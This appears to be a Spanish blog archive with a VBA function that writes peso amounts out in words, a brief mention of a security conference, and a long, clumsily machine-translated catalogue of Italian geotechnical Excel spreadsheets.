Lo que hacemos es a partir de un monto en una celda, convertimos este valor a letras en otra celda utilizando la funcion PesosMN la cual implementamos en el VBA de Excel.
Para esto presionamos ALT+F11 y en el panel que nos sale vamos a Proyecto - VBA Project:

Vemos 2 carpetas: Microsoft Excel Proyectos y Modulos.
En la carpeta Modulos creamos uno nuevo y en este escribimos esta funcion:

Function PesosMN(tyCantidad As Currency) As String
Dim lyCantidad As Currency, lyCentavos As Currency, lnDigito As Byte, lnPrimerDigito As Byte, lnSegundoDigito As Byte, lnTercerDigito As Byte, lcBloque As String, lnNumeroBloques As Byte, lnBloqueCero
Dim laUnidades As Variant, laDecenas As Variant, laCentenas As Variant, I As Variant 'Si esta como Option Explicit
tyCantidad = Round(tyCantidad, 2)
lyCantidad = Int(tyCantidad)
lyCentavos = (tyCantidad - lyCantidad) * 100
laUnidades = Array("UN", "DOS", "TRES", "CUATRO", "CINCO", "SEIS", "SIETE", "OCHO", "NUEVE", "DIEZ", "ONCE", "DOCE", "TRECE", "CATORCE", "QUINCE", "DIECISEIS", "DIECISIETE", "DIECIOCHO", "DIECINUEVE", "VEINTE", "VEINTIUN", "VEINTIDOS", "VEINTITRES", "VEINTICUATRO", "VEINTICINCO", "VEINTISEIS", "VEINTISIETE", "VEINTIOCHO", "VEINTINUEVE")
laDecenas = Array("DIEZ", "VEINTE", "TREINTA", "CUARENTA", "CINCUENTA", "SESENTA", "SETENTA", "OCHENTA", "NOVENTA")
laCentenas = Array("CIENTO", "DOSCIENTOS", "TRESCIENTOS", "CUATROCIENTOS", "QUINIENTOS", "SEISCIENTOS", "SETECIENTOS", "OCHOCIENTOS", "NOVECIENTOS")
lnNumeroBloques = 1
Do
lnPrimerDigito = 0
lnSegundoDigito = 0
lnTercerDigito = 0
lcBloque = ""
lnBloqueCero = 0
For I = 1 To 3
lnDigito = lyCantidad Mod 10
If lnDigito <> 0 Then
Select Case I
Case 1
lcBloque = " " & laUnidades(lnDigito - 1)
lnPrimerDigito = lnDigito
Case 2
If lnDigito <= 2 Then
lcBloque = " " & laUnidades((lnDigito * 10) + lnPrimerDigito - 1)
Else
lcBloque = " " & laDecenas(lnDigito - 1) & IIf(lnPrimerDigito <> 0, " Y", Null) & lcBloque
End If
lnSegundoDigito = lnDigito
Case 3
lcBloque = " " & IIf(lnDigito = 1 And lnPrimerDigito = 0 And lnSegundoDigito = 0, "CIEN", laCentenas(lnDigito - 1)) & lcBloque
lnTercerDigito = lnDigito
End Select
Else
lnBloqueCero = lnBloqueCero + 1
End If
lyCantidad = Int(lyCantidad / 10)
If lyCantidad = 0 Then
Exit For
End If
Next I
Select Case lnNumeroBloques
Case 1
PesosMN = lcBloque
Case 2
PesosMN = lcBloque & IIf(lnBloqueCero = 3, Null, " MIL") & PesosMN
Case 3
PesosMN = lcBloque & IIf(lnPrimerDigito = 1 And lnSegundoDigito = 0 And lnTercerDigito = 0, " MILLON", " MILLONES") & PesosMN
End Select
lnNumeroBloques = lnNumeroBloques + 1
Loop Until lyCantidad = 0
PesosMN = "SON: (" & PesosMN & IIf(tyCantidad > 1, " PESOS ", " PESO ") & Format(Str(lyCentavos), "00") & "/100 M.N.)"
End Function

pero les paso el excel para los que deseen modificar el codigo y curiosearlo a su antojo.

Conferencia sobre seguridad Informática

2012-01-28T12:35:00.000-08:00

Conferencia sobre seguridad Informática, por Chema Alonso una conferencia muy útil para los que nos interesa todo lo de la Seguridad Informática.

Completa coleccion de hojas de calculo excel para Geotecnia

2012-01-28T12:18:00.000-08:00

Una colección inmensa de plantillas para los diferentes tópicos de la mecánica de suelos, las hojas están en idioma italiano, este idioma es muy intuitivo por lo que no tendrán inconvenientes. Para el correcto funcionamiento de algunas hojas es necesario activar la ejecución de macros del excel.

Ca.Ca.P. 2.0 (. Zip 161 Kb) para Excel

Nueva versión actualizada 09/25/2003

Programa para calcular la capacidad portante de los suelos fundación para el público, fundaciones y cimientos de la cinta , cálculo de capacidad de carga en presencia de agua subterránea.

Dirección de correo electrónico de comunicaciones: dr. Gandolfo Ilardi
Hansen Petra (. Zip 11 Kb) para Excel

Programa para el cálculo del límite de carga de una fundación para dirigir cualquier método de Hansen.

Dirección de correo electrónico de comunicaciones: dr. Stephanie Sodano
Phi_residuo (. Zip 67 Kb) para Excel

Evaluación del ángulo de fricción residual en suelos cohesivos.

Dirección de correo electrónico para las comunicaciones: Ing. T. Collotti
Pendio_infinito (. Zip 32 Kb) rev. 1 (03/04/2001) a Excel

Verificación de la estabilidad en condiciones estáticas y en presencia de un terremoto.

Dirección de correo electrónico para las comunicaciones: Ing. T. Collotti
Estabilidad de taludes (. Zip 25 Kb) para Excel

Verificación de la estabilidad. El software en cuestión se hizo para tener la primera información sobre la estabilidad general de una pendiente.

Dirección de correo electrónico de comunicaciones: dr. Gandolfo Ilardi
Ka-Kp (. Zip 743 Kb) para Excel

Cálculo de los coeficientes de presión activa y pasiva Ka-Kp para superficies planas o curvas fracaso, en virtud de estática y sísmica (Eurocódigo 8).

Dirección de correo electrónico para las comunicaciones: Ing. T. Collotti
Ate (. Zip 85 Kb) para Excel

Cálculo de la longitud de los pernos de anclaje en los suelos granulares y cohesivos.

Dirección de correo electrónico para las comunicaciones: Ing. T. Collotti
Verpendnat (. Zip 40 Kb) para Excel

Programa para verificar las condiciones de equilibrio de las capas de la cobertura, la naturaleza coluvio-eluviations, hizo referencia a un mapa de la pendiente sin definir.

Damos la bienvenida a cualquier sugerencia

Dirección de correo electrónico de comunicaciones: Geólogos de la Asociación de San Messina R. Prisco
Hcritica (. Zip 20 Kb) para Excel

Versión 2.0 actualizada 02/03/2004

Simple hoja de cálculo que le permite definir la altura crítica de la excavación en una pared vertical de acuerdo a la cohesión y la densidad de la tierra

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Giorgio Aprile
Cálculo de falla (. Zip 38 Kb) para Excel

Programa para la estimación de la subsidencia del suelo elástico incoherente. Es la aplicación del método propuesto por Burland y Burbidge en 1984, con base en los resultados de ensayos de penetración dinámica del tipo de tubos sin soldadura. Espero que este programa es del agrado de mis colegas y yo estaría muy agradecido de recibir orientación para mejorarlo.

Dirección de correo electrónico de comunicaciones: dr. Ezio Ceravolo
CaPoRoc (. Zip 12 Kb) para Excel

Programa para calcular la capacidad de carga de rocas (conglomerados para conducir el comportamiento). El prospecto ha sido alcanzado plenamente mediante la adopción de las anteriores en el cap. 4 volumen de JE Bowles (Fundaciones, diseño y análisis, Editorial McGraw Hill, 1991).

Dirección de correo electrónico de comunicaciones: dr. Francesco Faccini
Geo (. Zip 528 Kb) para Excel

1) Cálculo de las tensiones inducidas en el subsuelo para determinar el aumento de la tensión en el suelo debajo de una fundación con el Boussinesq;

2) Análisis de la estabilidad estática de las bases en condiciones sísmicas (LL DM PP de 19/06/84)..;

3) la columna estratigráfica.

Dirección de correo electrónico de comunicaciones: dr. Corrado Quartararo
Pali-cu (. Zip 10 Kb) para Excel

La versión 3.0 actualizado 02/03/2004

Cálculo de capacidad de carga de una base única para la pila del suelo puramente cohesivo (sin ángulo de fricción interna).

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Giorgio Aprile
Contraer arenas (. Zip 21 Kb) para Excel

Nueva versión actualizada 13/10/2003

El software calcula el fracaso de una superficie de base, tipo viga rectangular. El método utilizado es el Schmertmann (1970), que utiliza el número de visitas en el sitio de pruebas de penetración (SPT)

Dirección de correo electrónico de comunicaciones: dr. Pier Paolo Ferraro
VerTrinc (. Zip 11 Kb) para Excel

Programa para probar el factor de seguridad de las zanjas sin protección.

Damos la bienvenida a cualquier sugerencia

Dirección de correo electrónico de comunicaciones: Geólogos de la Asociación de San Messina R. Prisco
Franja (. Zip 22 Kb) para Excel

Programa para la estimación de la presión de una tira infinita en condiciones sísmicas y los suelos con la fricción y la cohesión.

Dirección de correo electrónico de comunicaciones: dr. Fioravante Bosco
Pali_phi (. Zip 13 Kb) para Excel

Programa para estimar el alcance de una participación aislada de la tierra incompatibles. Método Utilizado: Terzaghi y Meardi Terzaghi modificado.

Dirección de correo electrónico de comunicaciones: dr. Fioravante Bosco
El tamaño de partícula (. Zip 43 Kb) para Excel

Programa para determinar la curva de clasificación, incluyendo la aereometria informe después de entrar en el densímetro utilizado.

Dirección de correo electrónico de comunicaciones: dr. Fabrizio Bonfanti
Asentamientos Humanos (. Zip 43 Kb) para Excel

Programa para la estimación de hundimiento del suelo en una normalmente consolidadas por el método propuesto por Terzaghi (1943), que considera el colapso de una sola dimensión, que es causada por una carga de tamaño limitado.El método se basa en el cálculo de las tensiones inducidas a varias profundidades, antes y después de la aplicación de la carga, y el uso de parámetros obtenidos de un ensayo de compresión edométrico.

Dirección de correo electrónico de comunicaciones: dr. Molly Clara
Muri (. Zip 13 Kb) para Excel

Excel programa de controles exigidos por la normativa vigente para muros de contención o confinamiento.

Dirección de correo electrónico de comunicaciones: dr. Fioravante Bosco
Puestos / Zócalo (. Zip 13 Kb) para Excel

Programa Excel para calcular la presión del público y / o la base para los suelos con la fricción y la cohesión.

Dirección de correo electrónico de comunicaciones: dr. Fioravante Bosco
Palo Cu (. Zip 13 Kb) para Excel

programa Excel para calcular el grado de participación en la tierra aislada coherente homogénea.

Dirección de correo electrónico de comunicaciones: dr. Fioravante Bosco
Cierre (. Zip 13 Kb) para Excel

Nueva versión actualizada 05/07/2003

Programa Excel para calcular la profundidad de la inserción de un cierre y / o tablestacas en suelos sueltos.

Dirección de correo electrónico de comunicaciones: dr. Fioravante Bosco
En la densidad in situ (. Zip 94 Kb) para Excel

Programa para la estimación de la humedad natural y la densidad in situ.

Dirección de correo electrónico de comunicaciones: dr. Donato di Bari
30 Kb) Hoek-Brown (. Zip para Excel

criterios de fallo de un macizo rocoso utilizando los métodos de Hoek-Brown (2002) y Mohr-Coulomb

Dirección de correo electrónico de comunicaciones: dr. James pescado
SPT -) DP (. Zip 23 Kb para Excel

Nueva versión actualizada 11/06/2003

Hoja de cálculo para el procesamiento de datos de los ensayos SPT y continua penetración de las pruebas dinámicas efectuadas en suelos granulares.

Dirección de correo electrónico de comunicaciones: dr. Pablo Tenan
Teniendo la capacidad de roca (. Zip 8 Kb) para Excel 2002

Un programa renovado para determinar la capacidad de carga en la roca y la posterior evaluación de la falla resultante, a través de la teoría de la elasticidad.

Dirección de correo electrónico para las comunicaciones: A. benedictinos – F. Faccini
Barton_giunto (. Zip 28 Kb) para Excel 2002

Caracterización de una articulación en la roca de acuerdo con el criterio de N. Barton

Hojas de cálculo se definen con gran sencillez. Los datos de entrada se muestran en las cajas grises

Dirección de correo electrónico para las comunicaciones: A. benedictinos – F. Faccini
CapPortPaliTrivellati (. Zip 14 Kb) para Excel 2002

Cálculo de capacidad de carga de pilotes perforados de un terreno incompatibles con los métodos empíricos es evaluado por la prueba o por medio de informes analíticos SCPT

Hojas de cálculo se definen con gran sencillez. Los datos de entrada se muestran en las cajas grises

Dirección de correo electrónico para las comunicaciones: A. benedictinos – F. Faccini
Cedimento_Burland_Burbidge (. Zip 9 Kb) para Excel 2002

Cálculo del error esperado de inmediato y diferido de un análisis de suelo no cohesivo para tubos sin soldadura (arena)

Hojas de cálculo se definen con gran sencillez. Los datos de entrada se muestran en las cajas grises

Dirección de correo electrónico para las comunicaciones: A. benedictinos – F. Faccini
Cedimento_elasticità (. Zip 7 Kb) para Excel 2002

Para la evaluación inmediata de la falla se espera de esta elasticidad clásica

Hojas de cálculo se definen con gran sencillez. Los datos de entrada se muestran en las cajas grises

Dirección de correo electrónico para las comunicaciones: A. benedictinos – F. Faccini
Qlim_BrinchHansen (. Zip 6 Kb) para Excel 2002

Cálculo de la capacidad portante de un terreno con la cohesión y la fricción, la formulación general

Hojas de cálculo se definen con gran sencillez. Los datos de entrada se muestran en las cajas grises

Dirección de correo electrónico para las comunicaciones: A. benedictinos – F. Faccini
Qlim_coesivo (. Zip 7 Kb) para Excel 2002

Cálculo de la capacidad portante de un terreno puramente cohesiva

Hojas de cálculo se definen con gran sencillez. Los datos de entrada se muestran en las cajas grises

Dirección de correo electrónico para las comunicaciones: A. benedictinos – F. Faccini
Holandés-fórmula (. Zip 20 Kb) para Excel

Cálculo de la presión permisible de una fundación a través de una correlación directa con la CPT penetrómetro de prueba con la “fórmula de los holandeses”

Dirección de correo electrónico de comunicaciones: dr. Lorenzo Marchesini
StratiNew (. Zip 104 Kb) para Excel

Hoja de cálculo que elabora a 20,0 m estratigráfica

Dirección de correo electrónico para las comunicaciones: Francesco Gervasi
parámetros (. zip 267 Kb) para Excel

Versión de fecha 06/19/2006

Cálculo de algunos parámetros físicos (peso volumen, ángulo de fricción y la cohesión) de acuerdo con la presencia del nivel freático o la estratigrafía del modelo.

El contenido del archivo de la automatización en VBA (Excel 2002) que permiten un cálculo rápido y de procesamiento de gráficos en Word (plantilla).

En parametri.zip archivo contiene la hoja de cálculo Macrop.xls + 4 plantilla en Word para imprimir los datos.

Dirección de correo electrónico para las comunicaciones: Luca Dal Ri
V 30 (. Zip 27 Kb) para Excel

Versión 3.0 actualizada el 22/05/2006

La hoja de cálculo en cuestión consiste en calcular el valor de V _S30 de varias maneras:
1. Con las mediciones directas de V _S (agujero por ejemplo, por la evidencia.)
2. Con mediciones indirectas del V _S (a través de la V _P estudios de sísmica de superficie, el conocimiento previo de la forma de Poisson para investigar las capas, que a fin de determinar la V _S );
3. SPT con las investigaciones o la penetración de otras pruebas de correlación con el SPT, utilizando la correlación de Ohta y Goto (1978) N entre _SPT y V,_S ;
4. SPT con las investigaciones o la penetración de otras pruebas de correlación con el SPT, utilizando la correlación Motonori y Yoshida (1988) N entre _SPT y V _S .
Las cuatro primeras hojas de cálculo le permiten introducir datos de las encuestas in situ, mientras que un máximo de cuatro capas, mientras que el quinto documento se refiere el V 30 obtenidos por diversos métodos, con los tipos de suelo en la Ordenanza N º 3274/2003.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Giorgio Aprile

ColonnaStratigrafica (. Zip 18 Kb) para Excel

Generar una columna estratigráfica de una profundidad máxima de 10 metros desde el suelo con la capacidad de unirse, además, los parámetros geotécnicos en las columnas apropiadas

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
VerificaPendio (. Zip 65 Kb) para Excel

La hoja de cálculo realiza esta verificación mediante el método simplificado OBISPO

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
CaricoLimitePortanza (. Zip 168 Kb) para Excel

Versión 1.2 actualizada el 03/14/2005

La hoja de cálculo calcula la capacidad portante de cimentación superficial, utilizando los métodos de Terzaghi y Meyerhof.

La operación es simple, introduzca los datos necesarios en las células de amarillo y obtener los resultados.

También le permite imprimir los resultados de una manera compacta en una sola hoja

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
FasiedIndici (. Zip 156 Kb) para Excel

La hoja permite el cálculo de los principales informes sobre los volúmenes de las diferentes fases, tales como la porosidad, el índice de porosidad y el grado de saturación.

La operación es simple, basta con introducir los datos necesarios para calcular las celdas vacías en blanco y ribeteado en negro)

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
CedimentiIndottidacarichiUniformi (. Zip 240 Kb) para Excel

Permite el cálculo de la subsidencia inducida por las cargas distribuidas de manera uniforme sobre la base de una fundación, cuadrada, rectangular o circular. El uso de la hoja de cálculo es sencillo, basta con introducir los valores necesarios para calcular las células libres, bordeadas de negro y amarillo

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
CedimentoMonodimensionale (. Zip 440 Kb) para Excel

El método es válido para normalmente suelos consolidados. En el caso de los suelos sobreconsolidadas, el valor de los asentamientos se sobreestimó.

El programa permite el cálculo de la subsidencia de la tierra se compone de hasta cinco capas.

Los valores se introducen en las células bordeado de negro en la hoja de cálculo.

Por la tierra cohesiva, es de uso general, con las limitaciones del caso, el método propuesto por unidimensional de Terzaghi.

Por tierras no cohesivos, se utiliza en general los resultados de ensayos in situ, tales como la penetración estática o dinámica

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
ProvediPercolazione (. Zip 11 Kb) para Excel

Versión 1.0 actualizada el 09/10/2004

Esta hoja de cálculo le permite averiguar la longitud del tubo para dispersar IMHOFF los sépticos tipo tanque.

El proceso es sencillo, basta con entrar en el tiempo de percolación, obtenido de la prueba y esperar el resultado.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
SpintaMuri (. Zip 517 Kb) para Excel

- [= 14.621 copias descargadas] desde 08/18/2004

Versión 1.1 actualizada el 09/23/2004

Esta hoja de cálculo que permite determinar el empuje activo y pasivo de un terraplén en la parte frontal de un muro de contención, de acuerdo con las teorías de Rankine y Coulomb.

Los datos necesarios para el cálculo debe ser introducido en células de un amarillo intenso, mientras que en el de color amarillo pálido, se requieren según el caso.

Además de hacer clic en las cuatro imágenes externas (en el papel “RANKINE”), puede cambiar la cifra que se introduzcan en el documento a imprimir, además de la introducción de las células no se ven afectados de color amarillo pálido, un cero en su caso.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
Capacita_portante (. Zip 993 Kb) para Excel

La hoja de cálculo calcula la capacidad portante de cimentación superficial, utilizando los métodos de Meyerhof, Vesic, Hansen y Terzaghi. La operación es bastante simple para introducir los datos necesarios en las células de amarillo y seleccionar el tipo de fundación, en el caso propuesto por Terzaghi, y esperar los resultados.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
JanbuSempMono (. Zip 102 Kb) para Excel

Recomendaciones:

Hardware: Procesador de 300 MHz, 64 Mb de RAM

software: Excel 2000 (o equivalente) “

Programa para el análisis de estabilidad en una litología único con superficie de deslizamiento para formar cualquier piezómetros definidos por el usuario y, utilizando el método simplificado Janbu con el factor de corrección. E ‘puede insertar secciones de forma gráfica.

Esta es una versión experimental publicado con el fin de la prueba entre los usuarios interesados.

Dirección de correo electrónico de comunicaciones: dr. Fausto Melotti
BishopSempMono (. Zip 156 Kb) para Excel

Recomendaciones:

Hardware: Procesador de 300 MHz, 64 Mb de RAM

software: Excel 2000 (o equivalente) “

Programa para el análisis de estabilidad en una sola litología y topografía superficies piezométricas en cualquier forma definida por el usuario utilizando el método simplificado Obispo.

El programa buscará automáticamente la superficie de contacto entre el FS mínimo con 100 considerados en los cálculos. E ‘puede insertar secciones de forma gráfica.

Esta es una versión experimental publicado con el fin de la prueba entre los usuarios interesados.

Dirección de correo electrónico de comunicaciones: dr. Fausto Melotti
GLE_MONO (. Zip 178 Kb) para Excel

Recomendaciones:

Hardware: Procesador de 300 MHz, 64 Mb de RAM

software: Excel 2000 (o equivalente) “

Software para el análisis de estabilidad en una litología único con superficie de deslizamiento para formar cualquier definido por el usuario y piezométricos; Mundial utiliza el método de equilibrio límite (GLE).

E ‘puede insertar secciones de forma gráfica.

Esta es una versión experimental publicado con el fin de la prueba entre los usuarios interesados.

Dirección de correo electrónico de comunicaciones: dr. Fausto Melotti
YELDINGS rendimiento (. Zip 504 Kb) para Excel

El diseño de una estructura de la fundación requiere, en determinadas situaciones, la predicción de los asentamientos absoluta y diferencial. Este cálculo es muy complejo, tanto en la medición de los voltajes inducidos en la mitad de las variables heterogéneo y anisotrópico, y relacionado con la historia de la pensionale tierra.

En la práctica, la simplificación o métodos empíricos se toman como muestra en esta hoja de cálculo desarrollados. Estas teorías se dirigen a una estimación preliminar de la falta de proponer al diseñador como una orientación en las distintas etapas del diseño.

El uso de la hoja de cálculo es muy sencillo, simplemente introduzca en las celdas amarillas para obtener el tratamiento de los datos necesarios, por lo que los resultados.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
YELDINGS-Sands (. Zip 33 Kb) para Excel

Esta hoja de cálculo le permite ajustar en tiempo la posibilidad de incumplimiento de alguna tierra del tipo de inconsistente. La metodología utilizada para estos fines es el propuesto por Schmertmann (1970), ya través de encuestas realizadas en situcon los instrumentos adecuados, (CPT, CPT SPT) es capaz de hacer predicciones en el corto y largo plazo.

El método de cálculo en este trabajo, permiten hacer predicciones para un tiempo t = 55 años (no editables).

Los datos para el propio desarrollo debe ser introducido en las células apropiadas en amarillo.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
YELDINGS-Burland-Burbano (. Zip 44 Kb) para Excel

Esta hoja de cálculo le permite estimar el hundimiento de la tierra causó la litológicas incompatible, con el Burland y Burbano. Este método se basa en un análisis estadístico, incluidas las fundaciones de diferentes tamaños.

La hoja se establece a fin de evaluar la falta de acuerdo con la teoría anterior, para un período t igual a 100 años. Por otra parte, los resultados obtenidos con los tres valores de confianza (50%, 67%, 98%) se comparan en la misma gráfica.

El procesamiento de datos es muy sencillo, basta con introducir los valores requeridos en las celdas amarillas adecuado y considerar una carga estática o dinámica.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
Stratigrafer (. Zip 54 Kb) para Excel

Esta hoja de cálculo de los procesos de los resultados obtenidos por la excavación o trabajo aburrido edificio rotatorio de la estratigrafía de las litologías presentes.

El dibujo esquemático en el “diagrama de columnas” la presencia del agua, la cuota de la perforación alcanza con el uso de la corona de diamantes, la tasa de recuperación y la de RQD para una profundidad máxima de 30 metros sobre la estratigrafía del mismo.

Puede seleccionar más de trece diferentes litologías en la capa de superficie, para una secuencia de diez capas.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
CapTerr (. Zip 74 Kb) para Excel

Esta hoja de cálculo Excel permite el cálculo de la capacidad de carga de superficie de la base y las aguas subterráneas en presencia y ausencia, utilizando los métodos propuestos por: Terzaghi, Meyerhof, Brinch-Hansen, EC7 (Eurocódigo 7).

Este programa está estructurado de manera que usted puede imprimir los métodos propuestos de forma individual o en el resumen en la página A4.

Permite la comparación de los métodos propuestos de relieve las diferencias entre ellos.

El diseño es atractivo e intuitivo, fácil de usar, basta con introducir los valores requeridos en los cuadros de color amarillo para obtener los resultados deseados inmediatamente.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
CalSismVS30 (. Zip 11 Kb) para Excel

Esta hoja de cálculo permite el cálculo de la clasificación Vs30 y el suelo de acuerdo con la OPCM 3274 de 2003.

Además, el documento está estructurado para procesar los datos introducidos a través de la profundidad gráfica y la velocidad de las ondas de cizalla.

La interfaz gráfica es muy preciso e intuitivo, basta con introducir los datos requeridos en las células de amarillo y esperar los resultados.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
Striscia_EC7 (. Zip 43 Kb) para Excel

La hoja de cálculo Excel para calcular la capacidad de carga de superficie de la base (banda indefinido) en ausencia de las aguas subterráneas, utilizando el método EC7 (Eurocódigo 7), incluyendo sísmica.

Fácil de usar, basta con introducir los valores requeridos en los cuadros de color amarillo.

La única limitación, que sólo permite el cálculo de la base de una anchura de 0,90 metros y profundidades de sub-base igual a 1,20 metros.

Dirección de correo electrónico de comunicaciones: dr. Fioravante Bosco
módulos elásticos y las fórmulas logarítmicas (. Zip 130 Kb) para Excel

El cálculo de hoja de cálculo Excel permite la evaluación de las debilidades de la consolidación, realizados en el momento genéricos t .

Se hace referencia a la información “Ducan-Buchignani [1976].

Dirección de correo electrónico para las comunicaciones: el Dr. Mario Strinna
MicroZone (. Zip 10 Kb) para Excel

Esta hoja de cálculo le permite evaluar a través de la metodología empírica propuesta por Medvedev (1960) el aumento de la intensidad macrosísmica locales, a través de la relación entre la rigidez sísmica de una referencia de rock y la rigidez de la superficie terrestre.

La formulación considera que la presencia de agua subterránea, la capa empapada en agua, la inclinación de la pendiente y el sustrato, etc.

Dirección de correo electrónico para las comunicaciones: el Dr. Geol Faustino Cetraro
GEOLAB (. Zip 13 Kb) para Excel

GEOLAB.xls es una simple hoja de cálculo que permite determinar las características físicas de la tierra de acuerdo a su densidad natural γ, w su contenido de agua y su peso específico G.

Dirección de correo electrónico para las comunicaciones: Alex Muran
Coeficientes de Ka-Kp (. Zip 8 Kb) para Excel

Mínimos del sistema operativo: Windows NT/98

Cálculo de la Ka y Kp empuje en condiciones sísmicas (teoría y Mononobe Okabe) y antisísmico (teorías de Coulomb y Rankine). Debe introducir la información solicitada en sólo los campos en amarillo.

Dirección de correo electrónico de comunicaciones: Davide De Cristofaro
Obispo (. Zip 16 Kb) para Excel

Obispo 1.0 es una hoja de cálculo para verificar la estabilidad de un talud con el método simplificado Obispo. Los procedimientos para el análisis de la estabilidad consiste en calcular un factor de seguridad a la traducción y / o rotación del volumen de tierra entre la superficie de la pendiente y un área de recorte de impuestos potenciales. La hoja de cálculo no contiene y no está vinculado a cualquier gráfico del problema. Este enfoque, con las mediciones y cálculos deben ser realizados por el usuario.

Para más información y / o sugerencias, por favor contactar con el autor: dr. geol.Santo Benfatto
Muri_Az (. Zip 587 Kb) para Excel

Permite el cálculo de muros de contención geotécnica y estructural y la gravedad, en California y también en gaviones metálicos.

Para más información y / o sugerencias, por favor contactar con el autor: Ing. Ciro Azzara
Dynamic-pp (. Zip 24 Kb) para Excel

Versión 3.2 actualizada el 25/01/2008

Hoja de cálculo para elaborar histogramas de ensayos de penetración dinámica.

El autor no asume ninguna responsabilidad por el uso de la hoja

Para más información y / o sugerencias, por favor contactar con el autor: Dr. Geol Amedeo Di Giulio
SPT granular (. Zip 1,532 Kb) para Excel

El tratamiento de los datos obtenidos de los ensayos SPT realizados en suelos granulares. Para el cálculo de los parámetros geotécnicos devuelto por el software se utilizan las correlaciones más importantes disponibles en la literatura geotécnica.

Para más información y / o sugerencias, por favor contactar con el autor: El Dr..geol. Domenico Paone
Rot_scavo (. Zip 6 Kb) para Excel

Hoja de cálculo para determinar la cantidad de rotura en la parte inferior de la excavación en presencia de las aguas subterráneas bajo presión.

Para más información y / o sugerencias, por favor contactar con el autor: Dr. Geol Amedeo Di Giulio
Licuefacción (. Zip 8 Kb) para Excel

Versión de fecha 22/03/2007

Hoja de cálculo para evaluar el potencial de licuefacción de los suelos. Es fácil de utilizar, las explicaciones están en la misma hoja, suficiente para llenar las celdas de color en amarillo.

Para más información y / o sugerencias, por favor contactar con el autor: Dr. Geol Amedeo Di Giulio
Terremoto en la pared (. Zip 468 Kb) para Excel

La nueva versión 1.4 actualizada el 12/04/2007

La hoja de cálculo le permite comprobar con las limitaciones contenidas en la guía, un muro de contención con o sin terremoto de segunda clase, vuelco, deslizamiento, la presión en la base y calcular los refuerzos necesarios

Para más información y / o sugerencias, por favor contactar con el autor: Ing.Samuel Cesarini
modelo de Winkler (. Zip 615 Kb) para Excel

hoja de Excel para el cálculo de la constante de las fundaciones Winkler para superficies verticales y horizontales a la cimentación profunda para ser utilizado para estudiar el suelo-fundación

Para más información y / o sugerencias, por favor contactar con el autor: Dr. El Sr. Pasquale Parolise
Cedimentipp (. Zip 14 Kb) para Excel

Esta hoja de cálculo permite la estimación de las debilidades de la ejecución de ensayos de penetración dinámica, con penetrómetro promedio.

Es una versión de pruebas, es muy sencillo, las instrucciones están en la misma hoja. El autor no asume ninguna responsabilidad por el uso del papel.

Para más información y / o sugerencias, por favor contactar con el autor: Dr. Geol Amedeo Di Giulio
penetrometrica_studiogeosposito (. zip 12 Kb) para Excel

Esta hoja de Excel se utiliza para determinar la fórmula Qamm con los holandeses, el ángulo de fricción interna, el edométricos forma, el coeficiente del sustrato y mediante la formulación de Meyerhof fundación Qamm cinta. Los cálculos se basan en el caso de suelos arenosos derivados de realizar una prueba dinámica penetrómetro medios-ligeros. La operación es simple, los datos de entrada están marcados por las cajas blancas. Y ‘puede mostrar los parámetros anteriores en los gráficos. El autor no asume ninguna responsabilidad por el uso del papel.

Para más información y / o sugerencias, por favor contactar con el autor: El Dr..Geol John Sposito
portanza_studiogeosposito (. zip 25 Kb) por exce

Esta hoja de Excel se utiliza para determinar la fórmula base Qamm cinta, cuadrados y rectangulares de Terzaghi y Meyerhof. La operación es simple. E ‘posible imprimir el documento. El autor no asume ninguna responsabilidad por el uso del papel.

Para más información y / o sugerencias, por favor contactar con el autor: El Dr..Geol John Sposito
Respuesta-Elastica_OPCM-3274 (. Zip 83 Kb) para Excel

Software para obtener los espectros de respuesta elástica de la horizontal y vertical con el NTC/2005 OPCM y 3274/2003.

Para más información y / o sugerencias, por favor contactar con el autor: dr. Pier Paolo Ferraro
Verifica_Liquefazione_Terreni (. Zip 25 Kb) para Excel

Versión 2.01 actualizado el 16/03/2010

Esta hoja de cálculo Excel que permite comprobar las condiciones de licuefacción del suelo de saber el número correcto de Nspt trazos, su profundidad de prueba, la gravedad específica, la profundidad del agua y las características de tamaño y magnitud.

Los cálculos se realizaron de forma independiente de acuerdo con las siguientes teorías:

Método de semillas y Idris (1971), modificada por la Tokimatsu y Yoshimi (1983)

Método de Youd y Idris (2001)

Método de Andrus y Stokoe (1997), modificada

Método de semillas y Idriss (1982)

Método de Iwasaki et al. (1978) en su versión modificada (1984)

Para más información y / o sugerencias, por favor contactar con el autor: El Dr.. Juan Mónaco Sebastián
SIMULBLOCK (. Zip 4,159 Kb) para Excel

El programa SIMULBLOCK (versión 1.0), acompañada de una breve nota introductoria, puede, a través de un proceso de modelización estocástica basado en el método de Monte Carlo, para reconstruir, para un grupo determinado, una muestra estadísticamente significativa de los posibles volúmenes de los bloques de roca ( vb), la masa potencialmente se define en la piedra, se extendió por una red de discontinuidades naturales diversamente orientados.

En concreto, el programa utiliza como variables aleatorias de entrada, los valores para el espaciamiento y los ángulos de diedro formado por la intersección de la discontinuidad que pertenecen a tres sistemas principales (SET).

Los resultados proporcionados por SIMULBLOCK son útiles utiliza principalmente en la caracterización geomecánica de las masas de roca fracturada basada en la clásica GSI índices y RMI, el uso y la fiabilidad son la práctica de larga data en geomecánica)

Para más información y / o sugerencias, por favor contactar con el autor: Dr. Geol Gian Luca Morelli
GeoLang_setup (. Zip 2,018 Kb)

